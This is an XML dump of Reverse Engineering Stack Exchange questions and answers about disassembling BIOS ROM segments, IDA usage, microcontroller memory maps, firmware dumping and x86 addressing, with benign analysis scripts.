  <row Id="21658" PostTypeId="2" ParentId="21654" CreationDate="2019-07-12T18:57:48.627" Score="3" Body="&lt;p&gt;So, a complete answer would be worth a series of blog posts but I'll try to touch the high points:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;While you can use different seg:base pairs to refer to the same location, in real code it rarely happens. Code segments use the same base for all their functions and do not intersect with neighbors. However, they sometimes do not start or end at the exactly 16-byt aligned boundary. An example from this ROM:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;segment with the base &lt;code&gt;E0470&lt;/code&gt; starts at &lt;code&gt;E047:0008&lt;/code&gt; (linear 0xE0478) and ends at &lt;code&gt;E047:FF84&lt;/code&gt; (linear 0xF03F4). &lt;/li&gt;&#xA;&lt;li&gt;the following segment uses base &lt;code&gt;F03F&lt;/code&gt; and thus starts at &lt;code&gt;F03F:0004&lt;/code&gt; (also linear 0xF03F4)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;inside a code segment, near jumps and calls normally stay inside the segment, and the functions should not extend beyond the segment's end. This is one of the ways you can determine the real boundaries of a segment. For example, we have for the base E047 we have in the binary:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;far call to &lt;code&gt;E047:0008&lt;/code&gt;, so probably that's the start of the segment.&lt;/li&gt;&#xA;&lt;li&gt;far call to &lt;code&gt;E047:FF53&lt;/code&gt; which is probably the last function of the segment. By disassembling the function and following only the near jumps, we come to the &lt;code&gt;retf&lt;/code&gt; at 0xF03F2, or &lt;code&gt;E047:FF82&lt;/code&gt;, so looks like the segment ends around there, and we can add the extra zero byte after it that was likely added by the linker for padding, arriving at the final boundary of &lt;code&gt;E047:FF84&lt;/code&gt; (linear 0xF03F4). &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;More extended example:&#xA;after making an initial guess for segment's &lt;code&gt;C84B&lt;/code&gt; boundaries to be &lt;code&gt;C84B:0004&lt;/code&gt; to &lt;code&gt;C84B:F112&lt;/code&gt;, I noticed these instructions in the list of problems:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SEG_C84B:96A2 call    0F2D5h&#xA;SEG_C84B:EF69 jmp     0F395h&#xA;SEG_C84B:F0C8 call    0F3DFh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since these are near calls and jumps, they should belong to the same segment. Following them gives us the extended end of the segment to be 0xd7894 or C84B:F3E4.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;as an extension of above, data references using &lt;code&gt;cs&lt;/code&gt; should point to data inside the segment, and it should make sense in the context. This is most visible with switch statements which look similar to following:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2E FF A7 B6 59  jmp     cs:off_B000_59B6[bx]&#xA;2E FF A4 8E 76  jmp     cs:off_C000_768E[si]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A good example is this one at 0xf05f1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2E FF A7 06 02                 jmp     cs:206h[bx]&#xA;68 01                          dw 168h&#xA;6E 01                          dw 16Eh&#xA;74 01                          dw 174h&#xA;80 01                          dw 180h&#xA;86 01                          dw 186h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we assume that the words following the jump is the jump table, then the segment should start around &lt;code&gt;0206h&lt;/code&gt; bytes earlier, and indeed there is a function start at 0xf03f4, so if we make a segment starting there (with base 0xf03f), our switch is nicely recovered:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SEG_F03F:01FD D1 E0          shl     ax, 1&#xA;SEG_F03F:01FF 8B D8          mov     bx, ax&#xA;SEG_F03F:0201 2E FF A7 06 02 jmp     cs:off_F03F_206[bx]&#xA;SEG_F03F:0206 68 01          dw offset loc_F03F_168  ; DATA XREF: sub_F03F_100+101↑r&#xA;SEG_F03F:0208 6E 01          dw offset loc_F03F_16E&#xA;SEG_F03F:020A 74 01          dw offset loc_F03F_174&#xA;SEG_F03F:020C 80 01          dw offset loc_F03F_180&#xA;SEG_F03F:020E 86 01          dw offset loc_F03F_186&#xA;SEG_F03F:0210 95 01          dw offset loc_F03F_195&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't have the full picture yet, but the following boundaries seem to be close:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;B000: 0xB0000-0xC0000 (full 64K)&#xA;C000: 0xC0000-0xC84B4&#xA;C84B: 0xC84B4-0xD7A52 (there is some weird stuff near the end)&#xA;E047: 0xE0478-0xF03F4&#xA;F03F: 0xF03F4-0xFDAF0&#xA;FDAF: 0xFDAF0-0xFFFF0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added some scripts I used to &lt;a href=&quot;https://gist.github.com/skochinsky/cb988b42e306ee76473d7b4fb8f7e49e&quot; rel=&quot;nofollow noreferrer&quot;&gt;my gist&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: some of the addresses printed out by the scanner are false positives and do not indicate real segments. You should consider only those that have multiple matches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Data in lower segments seems to be compressed.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-07-12T18:57:48.627" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21660" PostTypeId="2" ParentId="21654" CreationDate="2019-07-13T10:45:50.270" Score="1" Body="&lt;p&gt;igorsk gave a nice reply there &lt;/p&gt;&#xA;&#xA;&lt;p&gt;this post is just to illustrate how you can use some standalone disassembler framework to look for proper ljmps instead of your xxd | tr  hacks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using capstone below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PS F:\zzzz&amp;gt; Get-Content .\rombi.py&#xA;from capstone import *&#xA;&#xA;md = Cs(CS_ARCH_X86, CS_MODE_16)&#xA;fin = open(&quot;f:\\zzzz\\rom.bin&quot; , &quot;rb&quot;)&#xA;buf = fin.read()&#xA;fin.close()&#xA;fsiz =  len(buf)&#xA;offset = 0&#xA;while (offset &amp;lt; fsiz):&#xA;        offset  =  buf.find(b&quot;\xea&quot;,offset)&#xA;        if(offset != -1):&#xA;                patt = buf[offset:offset+5]&#xA;                for i in md.disasm( patt ,(0x80000+offset)):&#xA;                        print(&quot;0x%x:\t%s\t%s&quot; %(i.address, i.mnemonic, i.op_str))&#xA;                offset = offset + 1&#xA;        else:&#xA;                break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;running and analyzing the results&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PS F:\zzzz&amp;gt; $foo = python.exe .\rombi.py&#xA;&#xA;PS F:\zzzz&amp;gt; $foo.Count&#xA;484&#xA;&#xA;last three far jumps&#xA;PS F:\zzzz&amp;gt; $foo[($foo.Count - 4)..$foo.Count]&#xA;0xfd7ce:        ljmp    0x2d20:0x4f00&#xA;0xfd7e9:        ljmp    0x2d20:0x5800&#xA;0xfdaf8:        ljmp    0xc000:0&#xA;0xffff1:        ljmp    0xfdaf:0&#xA;&#xA;first three far jumps&#xA;PS F:\zzzz&amp;gt; $foo[0..3]&#xA;0x80162:        ljmp    0x507a:0xf0b8&#xA;0x8019c:        ljmp    0x4b48:0x4a6b&#xA;0x801fa:        ljmp    0xdae2:0xaa33&#xA;0x803c0:        ljmp    0x9b74:0xaa4a&#xA;PS F:\zzzz&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-07-13T10:45:50.270" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21661" PostTypeId="1" CreationDate="2019-07-13T15:06:54.830" Score="1" ViewCount="159" Body="&lt;p&gt;I have the following blue color lamp that can move, play music and do a few other things.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QTLvY.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QTLvY.jpg&quot; alt=&quot;DarenWaves&quot;&gt;&lt;/a&gt;&#xA;I'm quite sure it has a Firmware and it's reprogrammable. I'm looking for guidance on where should I look for it and how to do it. Here is a picture of the mainboard.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/J24ZV.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/J24ZV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&#xA;The chips on the board are:&lt;br&gt;&#xA;IC 1 says:&lt;br&gt;&#xA;74HC4051D&lt;br&gt;&#xA;?85HYC06D&lt;br&gt;&#xA;?UnG1336L&lt;br&gt;&#xA;Probably an 8 Channel Analog Multiplexer&lt;br&gt;&#xA;&lt;br&gt;&#xA;IC 2 says:&lt;br&gt;&#xA;8002B&lt;br&gt;&#xA;CG0920F&lt;br&gt;&#xA;Probably Audio Power Amplifier&lt;br&gt;&#xA;&lt;br&gt;&#xA;And IC 3 which don't have any writing on it. This one seems like the MCU.&#xA;&#xA;Does anyone see a UART, JTAG or SPI on the board and could guide me on how to find and connect to it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Backside pictures:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/u5yYx.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/u5yYx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25844" LastEditorUserId="25844" LastEditDate="2019-07-15T15:01:16.100" LastActivityDate="2019-07-15T15:01:16.100" Title="Dumping and reprogramming the firmware of DarenWaves" Tags="|hardware|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21662" PostTypeId="2" ParentId="21657" CreationDate="2019-07-13T16:20:40.367" Score="1" Body="&lt;p&gt;From the code you posted, it seems that &lt;code&gt;sub_B4F7C&lt;/code&gt; is a &lt;strong&gt;function registering handlers&lt;/strong&gt;, in this case, function at &lt;code&gt;297Eh&lt;/code&gt;. This address (function pointer) is probably being saved somewhere by &lt;code&gt;sub_B4F7C&lt;/code&gt; and will be called when &lt;code&gt;SHARE.EXE&lt;/code&gt; is not detected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, this handler won't be called directly; when the event occurs, the code will just check at relevant address for a function registered for that event and call it. It will use the address previously put into memory by &lt;code&gt;sub_B4F7C&lt;/code&gt;, instead of hardcoded value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In short:&lt;/strong&gt; don't worry, this function will be called. You can verify it by putting a breakpoint at its beginning. It is also worth to mark this handler as a function (select the relevant fragment and press &lt;code&gt;P&lt;/code&gt;). You can then right click at &lt;code&gt;297Eh&lt;/code&gt;, select &lt;code&gt;offset&lt;/code&gt; and select the offset of the newly created function to display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; According to &lt;a href=&quot;https://msdn.microsoft.com/en-us/windows/desktop/ms647486&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; (for &lt;code&gt;32&lt;/code&gt;bit, but signature seems to be the same), &lt;code&gt;word_10C9DC&lt;/code&gt; is the identifier of module containing the strings to load.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-07-13T16:37:33.973" LastActivityDate="2019-07-13T16:37:33.973" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21664" PostTypeId="1" CreationDate="2019-07-13T23:36:14.543" Score="1" ViewCount="1118" Body="&lt;p&gt;I've disassembled and run auto-analysis on a .so file from an Android apk, and then hooked up the remote ARM debugger to an emulator. IDA then asked me if /data/app/com.package.name/lib/arm/libil2cpp.so is the same file as libil2cpp.so on my computer, which it is so I said yes. It took a few minutes to &quot;move database&quot;, &quot;move functions&quot;, etc. and now it's taking hours to perform auto-analysis all over again on the mapped files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to speed this up, and will it happen every time I start a remote debugging session?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Follow-up question: I learned that this is caused by IDA rebasing the program every time. Why can't it just use offsets from the start of the program and avoid rerunning the static analysis?&lt;/p&gt;&#xA;" OwnerUserId="29016" LastEditorUserId="29016" LastEditDate="2019-07-17T02:09:17.083" LastActivityDate="2021-04-18T13:39:59.000" Title="IDA taking forever to run autoanalysis on remote Android app?" Tags="|ida|android|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21665" PostTypeId="2" ParentId="21661" CreationDate="2019-07-14T03:38:43.440" Score="2" Body="&lt;p&gt;Not likely to have a programming port on this class of device. Chances are it's a Chinese 8051 or PIC clone, possibly OTP or mask ROM, probably read protected so getting firmware out it may require 'decapping' the package and probing directly onto the chip (not practical for an amateur, and risks destroying the chip). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Some&lt;/em&gt; older MCUs can be broken into with simple non-destructive techniques. But first you need to know which MCU you have. Trace out the circuit and try to figure out the function of each pin. Then match it up with known MCUs that have the same number of pins. The package shape (size and position of the 'pin 1' dot etc.) can also be a clue. You could remove the chip from the board and look on the underside for markings, but this may not tell you much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having a full understanding of the circuit and how it operates could allow you to develop your own code for another MCU (bonus if it has the same pinout and can be a drop-in replacement). You may find this is quicker, easier, and more enjoyable than a (probably futile) attempt to extract and reverse-engineer the original firmware. &lt;/p&gt;&#xA;" OwnerUserId="27393" LastActivityDate="2019-07-14T03:38:43.440" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21666" PostTypeId="1" CreationDate="2019-07-14T07:15:19.970" Score="2" ViewCount="242" Body="&lt;p&gt;When i see function like this, im getting confused, because all the strings i need in this function, but how can i find which functions which this strings?&#xA;how can i know the address of the function that using one of these string from the list? thx for helping&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, 235h&#xA;call sub EAF404&#xA;mov ecx, 72D14E45h&#xA;mov edx, offset almportSites_e ; &amp;quot;Import Sites&amp;quot;&#xA;mov eax, 236h&#xA;call sub_EAF404&#xA;mov ecx, 4D81D89Eh&#xA;mov edx, offset aInAutoModeAllF ; &amp;quot;In Auto-Mode all files are transferred &amp;quot;.&#xA;mov eax, 237h&#xA;call sub EAF404&#xA;mov ecx, ΘC42887BFh&#xA;mov edx, offset in Folder &amp;quot;In Folder&amp;quot;&#xA;mov eax, 238h&#xA;call sub_EAF404&#xA;mov ecx, 35086F9Fh&#xA;mov edx, offset in Progress ; &amp;quot;In Progress&amp;quot;&#xA;mov eax, 239h&#xA;call sub EAF404&#xA;mov ecx, 5FEC8E4Eh&#xA;mov edx, offset loc_EBC568&#xA;mov eax, 23Ah&#xA;call sub_EAF404&#xA;mov ecx, 41Beesceh&#xA;mov edx, offset include quick ; &amp;quot;Include Quick Connect sites in History&amp;quot;&#xA;mov eax, 23Bh&#xA;call sub_EAF404&#xA;mov ecx, GF260BBC9h&#xA;mov edx, offset a Include The Full ; &amp;quot;Include the following logs&amp;quot;&#xA;mov eax, 23Ch&#xA;call sub_EAF404&#xA;mov ecx, 11B82087h&#xA;mov edx, offset alncompleteOrIn ; &amp;quot;Incomplete or Invalid Registration Key&amp;quot;&#xA;mov eax, 23Dh&#xA;call&#xA;sub_EAF404&#xA;mov ecx, 6BBB9E69h&#xA;mov edx, offset info ; &amp;quot;Info&amp;quot;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29024" LastEditorUserId="-1" LastEditDate="2023-05-06T20:37:58.773" LastActivityDate="2023-05-06T20:37:58.773" Title="How to find who use these strings?" Tags="|static-analysis|strings|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21669" PostTypeId="1" CreationDate="2019-07-14T12:00:21.577" Score="0" ViewCount="388" Body="&lt;p&gt;I have &lt;code&gt;STM32F303 Nucleo&lt;/code&gt; board (&lt;a href=&quot;https://www.st.com/resource/en/datasheet/stm32f303vc.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Datasheet&lt;/a&gt;), and I work with Mbed IDE, which allows me to compile code to the board. The compiled code is in &lt;code&gt;.bin&lt;/code&gt; format.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Some relevant information from the datasheet:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cpu is Arm-v7&lt;/li&gt;&#xA;&lt;li&gt;Flash memory starts at &lt;code&gt;0x8000000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;SRam starts at &lt;code&gt;0x20000000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I want to load in IDA the &lt;code&gt;.bin&lt;/code&gt; file, and map the &lt;code&gt;ROM&lt;/code&gt; and &lt;code&gt;RAM&lt;/code&gt; sections according to the memory map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried many different configurations in the memory organization form, but couldn't find the one that represents the actual memory. The default form as IDA recognizes it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Tl1CW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tl1CW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I understand, the size of the &lt;code&gt;bin&lt;/code&gt; file is &lt;code&gt;0x632c&lt;/code&gt;, which includes both the RAM and ROM. Any ideas of how can I make the cut between the two sections? And when I do, what is the right way to fill it in the memory form?&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2019-07-14T17:41:41.023" Title="Building micro controller memory image in IDA" Tags="|ida|memory|embedded|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21670" PostTypeId="2" ParentId="21666" CreationDate="2019-07-14T12:09:31.670" Score="2" Body="&lt;p&gt;If you're using IDA, you can select the string (e.g. &lt;code&gt;aImportSites_0&lt;/code&gt;), right click and select &lt;code&gt;Jump to xref to operand...&lt;/code&gt; (keyboard shortcut -&gt; x) and that will show you where (and which functions) reference this string. (The same thing applies for any other label, like functions name, variables etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Comsecuris/ida_strcluster&quot; rel=&quot;nofollow noreferrer&quot;&gt;ida_strcluster&lt;/a&gt; is a nice plugin that can help you group the strings by function (among other things)&lt;/p&gt;&#xA;" OwnerUserId="13321" LastActivityDate="2019-07-14T12:09:31.670" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21671" PostTypeId="2" ParentId="21669" CreationDate="2019-07-14T17:41:41.023" Score="1" Body="&lt;p&gt;The &lt;em&gt;image&lt;/em&gt; is for the flash so it contains only ROM. RAM is initialized by the startup code by copying some bytes from the ROM. This should work:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ROM start and load base: 0x8000000&lt;/li&gt;&#xA;&lt;li&gt;RAM start: 0x20000000&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;More info: &lt;a href=&quot;https://stackoverflow.com/a/5435043&quot;&gt;https://stackoverflow.com/a/5435043&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-07-14T17:41:41.023" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21672" PostTypeId="1" AcceptedAnswerId="21673" CreationDate="2019-07-14T19:08:11.400" Score="1" ViewCount="37" Body="&lt;pre&gt;&lt;code&gt;lea     ebp, dword_403638&#xA;lea     ebx, [ebp-4]&#xA;mov     edi, ss:[ebx]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand the first instruction setting ebp to the address of the byte sequence. What I don't understand is what ebx will then be set to. And since ebx is being treated as an address on the stack, will edi refer to an address as well&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dword_403638    dd 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29029" LastActivityDate="2019-07-14T19:50:44.380" Title="Confused about address being referenced" Tags="|ida|binary-analysis|register|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21673" PostTypeId="2" ParentId="21672" CreationDate="2019-07-14T19:50:44.380" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I understand the first instruction setting ebp to the address of the byte sequence.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;lea ebx, [ebp - 4]&lt;/code&gt; will set &lt;code&gt;ebx&lt;/code&gt; to &lt;code&gt;ebp - 4&lt;/code&gt;. On the other hand, &lt;code&gt;mov edi, ss:[ebx]&lt;/code&gt; will move (copy) the data stored at stack at address &lt;code&gt;ebx&lt;/code&gt; to &lt;code&gt;edi&lt;/code&gt; register.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-07-14T19:50:44.380" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21674" PostTypeId="1" AcceptedAnswerId="21675" CreationDate="2019-07-14T20:11:48.340" Score="0" ViewCount="279" Body="&lt;p&gt;I went to stack view and named it counter, and now it appears at the top of my function, although it didn't until I named it. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/YIWc7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YIWc7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The name didn't propagate over to the program, as you can see in the mov instruction in this block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Voq9F.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Voq9F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29008" LastActivityDate="2019-07-14T20:44:06.797" Title="Why won't IDA let me name this variable?" Tags="|ida|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21675" PostTypeId="2" ParentId="21674" CreationDate="2019-07-14T20:35:41.100" Score="0" Body="&lt;p&gt;First of all, &lt;code&gt;[esp+5Ch]&lt;/code&gt; is not the value of counter. The numbers next to the names of variables / arguments on stack are offsets with respect to &lt;code&gt;ebp&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;[ebp-5Ch]&lt;/code&gt; is the value of the variable counter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And since the variables are accessed via &lt;code&gt;esp&lt;/code&gt;, not &lt;code&gt;rbp&lt;/code&gt; and there is stack aligning instruction (&lt;code&gt;and esp, FFFFFFF0&lt;/code&gt;), I &lt;em&gt;guess&lt;/em&gt; IDA is not sure if that instruction will change &lt;code&gt;esp&lt;/code&gt; or not, so it won't rename &lt;code&gt;[esp + offset]&lt;/code&gt; to an argument or variable, since &lt;code&gt;esp&lt;/code&gt; could have different values modulo &lt;code&gt;16&lt;/code&gt; (i.e. &lt;code&gt;and esp, FFFFFFF0&lt;/code&gt; will not change &lt;code&gt;esp&lt;/code&gt; if &lt;code&gt;esp = 11111110&lt;/code&gt;, but will change it when &lt;code&gt;esp = 11111118&lt;/code&gt;) and thus different values with respect to &lt;code&gt;ebp&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-07-14T20:44:06.797" LastActivityDate="2019-07-14T20:44:06.797" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21676" PostTypeId="1" AcceptedAnswerId="21700" CreationDate="2019-07-15T01:29:41.183" Score="0" ViewCount="404" Body="&lt;p&gt;Looking for suggestions on steps that could be used to identify what code would get executed at call dword ptr es:[bx+0Ch] from static analysis. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cseg04:3044 loc_105D4:                              ; CODE XREF: cseg04:2F10↑j&#xA;    cseg04:3044                 push    0&#xA;    cseg04:3046                 push    34h ; '4'&#xA;    cseg04:3048                 les     bx, ppMalloc&#xA;    cseg04:304C                 push    es&#xA;    cseg04:304D                 push    bx&#xA;    cseg04:304E                 les     bx, es:[bx]&#xA;    cseg04:3051                 call    dword ptr es:[bx+0Ch]&#xA;    cseg04:3055                 add     sp, 8&#xA;    cseg04:3058                 mov     si, ax&#xA;    cseg04:305A                 mov     [bp-6], dx&#xA;    cseg04:305D                 or      dx, ax&#xA;    cseg04:305F                 jnz     short loc_105F8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ppMalloc section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eg70:3612 ppMalloc        dd 0                    ; DATA XREF: cseg04:3048↑r&#xA;dseg70:3612                                         ; sub_145C0+24↑r ...&#xA;dseg70:3616 ; ATOM word_10CA26&#xA;dseg70:3616 word_10CA26     dw 0                    ; DATA XREF: sub_4637E:loc_463B1↑r&#xA;dseg70:3616                                         ; sub_4637E+3A↑r ...&#xA;dseg70:3618 word_10CA28     dw 0                    ; DATA XREF: sub_CE2A+1↑o&#xA;dseg70:3618                                         ; cseg03:2F9C↑o ...&#xA;dseg70:361A                 db    0&#xA;dseg70:361B                 db    0&#xA;dseg70:361C                 db    0&#xA;dseg70:361D                 db    0&#xA;dseg70:361E                 db    0&#xA;dseg70:361F                 db    0&#xA;dseg70:3620                 db    0&#xA;dseg70:3621                 db    0&#xA;dseg70:3622                 db    0&#xA;dseg70:3623                 db    0&#xA;dseg70:3624                 db    0&#xA;dseg70:3625                 db    0&#xA;dseg70:3626 unk_10CA36      db    0                 ; DATA XREF: sub_CE2A+A↑o&#xA;dseg70:3626                                         ; cseg03:2F93↑o ...&#xA;dseg70:3627                 db    0&#xA;dseg70:3628                 db    0&#xA;dseg70:3629                 db    0&#xA;dseg70:362A                 db    0&#xA;dseg70:362B                 db    0&#xA;dseg70:362C                 db    0&#xA;dseg70:362D                 db    0&#xA;dseg70:362E                 db    0&#xA;dseg70:362F                 db    0&#xA;dseg70:3630                 db    0&#xA;dseg70:3631                 db    0&#xA;dseg70:3632                 dw 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2019-07-17T17:44:12.623" Title="Find Target to Call Dword Ptr in 16-bit Windows with IDA Pro" Tags="|ida|windows|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21677" PostTypeId="1" AcceptedAnswerId="21681" CreationDate="2019-07-15T07:33:58.303" Score="1" ViewCount="2896" Body="&lt;p&gt;I'm really interested in learning reverse engineering. Especially in regards to malware. Any help is much appreciated &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I learn before I start to learn reverse engineering? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is learning C/C++ a MUST?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I learn Assembly language?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I know nothing about reverse engineering, is Ghidra a good tool to learn with or should I become familiar with IDA and OllyDbg first?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any good sources/tutorials in particular that you recommend?&lt;/p&gt;&#xA;" OwnerUserId="29037" LastEditorUserId="27988" LastEditDate="2019-07-18T17:07:55.003" LastActivityDate="2019-07-19T00:13:32.440" Title="Cyber security student wanting to start learning reverse engineering" Tags="|assembly|ollydbg|malware|c++|ghidra|" AnswerCount="3" CommentCount="2" ClosedDate="2019-07-22T18:46:03.017" ContentLicense="CC BY-SA 4.0" />
  <row Id="21678" PostTypeId="1" CreationDate="2019-07-15T11:25:33.600" Score="1" ViewCount="2209" Body="&lt;p&gt;So I have an ehi file, which is a configuration file for an Android App called &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.evozi.injector&amp;amp;hl=pt_BR&quot; rel=&quot;nofollow noreferrer&quot;&gt;HTTP Injector&lt;/a&gt;.&#xA;Of course when I try to see it as a simple text, I just get random characters.&#xA;What tool could I use to start trying to decrypt it?&#xA;I don't even know how to start and if someone could point time what type of encryption or obfuscation method was used I would be hugely grateful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a ehi file for demonstration: &lt;a href=&quot;https://transfer.sh/91tbh/1_4999527475131187330.ehi&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://transfer.sh/91tbh/1_4999527475131187330.ehi&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much, and if my question is not accepted, please delete it.&lt;/p&gt;&#xA;" OwnerUserId="29038" LastActivityDate="2019-07-15T11:25:33.600" Title="Obfuscated Config Files: EHI Files for HTTP Injector" Tags="|android|unpacking|java|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
